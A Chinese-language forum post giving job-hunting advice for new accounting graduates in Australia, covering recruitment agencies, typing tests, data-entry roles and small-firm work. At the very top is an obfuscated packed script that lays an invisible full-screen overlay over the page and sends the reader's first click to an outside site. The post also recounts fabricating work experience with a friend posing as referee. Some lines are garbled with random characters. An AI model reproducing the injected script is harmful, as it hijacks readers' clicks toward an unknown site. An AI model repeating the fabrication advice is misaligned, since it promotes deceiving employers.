<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>本人目前在一家oz的会计公司，希望把自己毕业后这2年的找工经验和大家分享一下。
我们公司目前有一个培训项目，此贴中不会涉及这个信息，以防止有些朋友认为我是在做广告。通过公司的这个项目，我接触到了很多刚刚毕业的学生来学习，这部分同学一般都是没有任何工作经验，或者只有餐厅打工的工作经验（其实我还不如大家我上学的时候连餐厅的没有工作过）。 刚毕业的学生一般都认为自己可以找到一家大公司，或者一个会计事务所可以很快的开始自己的CPA学习。但是，很诚恳地说这种机会一般只属于5%的毕业生。如果你的学习成绩很好，而且英文交流没有任何问题的学生，这种机会有可能会发生在你的身上。
但是总的来说95%的学生在澳大利亚是没有这样的工作机会的。于是大家就被放到了人才市场上，我也是其中的一个。 200份简历地出去，收到了150个回信，150封回信里有着共同的一个字-"unfortunately"。 发现没有工作经验根本不行，于是自己Make Up 一些，找个朋友作Referee。继续发简历，终于有了面试机会。
如果是大公司，一般面试的是JOB AGENT。比如说，天底下人都知道BHP 和BEA在招 ACCOUNTS PAYABLE，但是首先面试你的是HAYS or ROBERT WALTERS. 等你到了地方，RECEPTIONIST 会很专业的接待你，然后给你一大队表格，表格上面除了你的个人信息外，还会很明确地让选出你究竟会用哪种software，会做那部分工作，PAYABLE, RECEIVABLE, PAYROLL, BANK RECON.... 然后RECEPTIONIST 会把你带到一个小的computer lap里让你做一个test，就是测出你究竟一个小时能打多少个字（数字，字母，大小写 mix up），一般的要求是8000个。我曾经问过一个DATA ENTRY， 她告诉我她可以打10，000个，她做了20年。 你肯定会问，我是ACCOUNTS PAYABLE啊，怎么要做data entry？ 答案是，你在大公司工作，你就做whole process的一部分，你只需要输入DATA就够了，不用你来做其他任任何事。一个大公司的ACCOUTANT就是从这种小职位做起，20年后，她/他会成为这部门的MANAGER.
先回答ls问题，是呀，这两个工作看起来没什么关系，但是大公司的Accounts Payable, Accounts Receivable ,Payroll Office 就是Data entry,我认识的朋友，现在就在BHP做Accounts Payable, 之前在政府做 Payroll,在之前在All Staff做payroll，但是她没有一点会计背景，她之所以能找到这份工作，是因为她在Origin做Data Entry。所以，记住，大公司的这种低职位都是data entry，而且你的英文要好，因为你要不停地打电话，接电话，催帐。
接着我的帖子说，当然无论你是否通过了这个TYPING TEST，Recruitment Consultant 都会很专业的与你会面，一般他们会拿着你的RESUME出来，当然最好自己准备一份，以防万一。他们和你一起讨论你的工作经验，问你究竟什么比较擅长，会很仔细的问你，一般的Consultant都不是很明白专业的知识，但是他们因为Interview过很多人，所以他们也有他们的办法知道你究竟行不行，这个时候你简历里面的工作经验资料就显得非常重要。一般面试为30分钟，加上填表，test大概1个半小时。如果你的TEST没过，一般就没什么戏了，如果过了，他们让你回家等消息。网上放出来的工作，有的存在，有的就是Consultant用来积累他们的人才库的。也就是说，也许这个职位就根本不存在。当然，他们如果有合适的机会，他们也一定会给你打电话。如果很幸运你的工作经验和他们想找到人MATCH，他们就会给你具体的公司资料，公司对你进行面试。面试的问题，一般会有：how do you think about accounts payable? Whats the critical issue about accounts payable？ Why do you apply for this job? 这时候你的工作经验就逃都逃不掉了，你要是没有经验，就肯定不会被录取了。（未完待续）
one reason can't get interview:! m8 c7 ]5 r, E9 d: g. o+ d- u& y
poor resume9 u% j+ D9 y" z
three reasons can't pass interview:& y+ ]( p1 {' Q. f8 s- N
+ poor experience, poor English, poor appearance
好，接着说，小公司的求职非常简单，就是要有工作经验，不然，除非老板实在是找不到有经验的，他会找你，但是给得非常少。 小公司一般分为以下几种情况：1. TAX ACCOUTANT，2.MEDIUM BUSINESS。 Tax accountant 就是那些tax agent， 一般这样的地方都是那种报纸上帮别人保税的会计，大部分工作都是老板自己做，如果做不完了，他会请人。别以为我们在学校里面学的INCOME TAX LAW多么的管用，最大的问题是我们从来没有接触过的GST。GST没什么难的，就是要知道，会用，会准备BAS report. 这种工作就是经验的积累，做得越多，你越熟悉，行业涉及的越多，你也越明白其中的关系.
2.Medium Business经常会招的人一般就是ACCOUNT PAYABLE , REVEIABLE, PAYROLL OFFICER, 这样的职位就不紧紧是data entry, 当然你的主要部分工作也是data entry, 另外就是要做payable reconciliation, 和receivable reconciliation . 要打电话催帐之类，就是类似于高级一些的DATA ENTRY. payroll是一个比较独立的职位，大公司的PAYROLL一般就是DATA ENTRY。 但是真正的payroll officer是要熟悉awards, 你的行业不一样，awards也不一样。这个大家可以上FAIRWORK上去看看。 |
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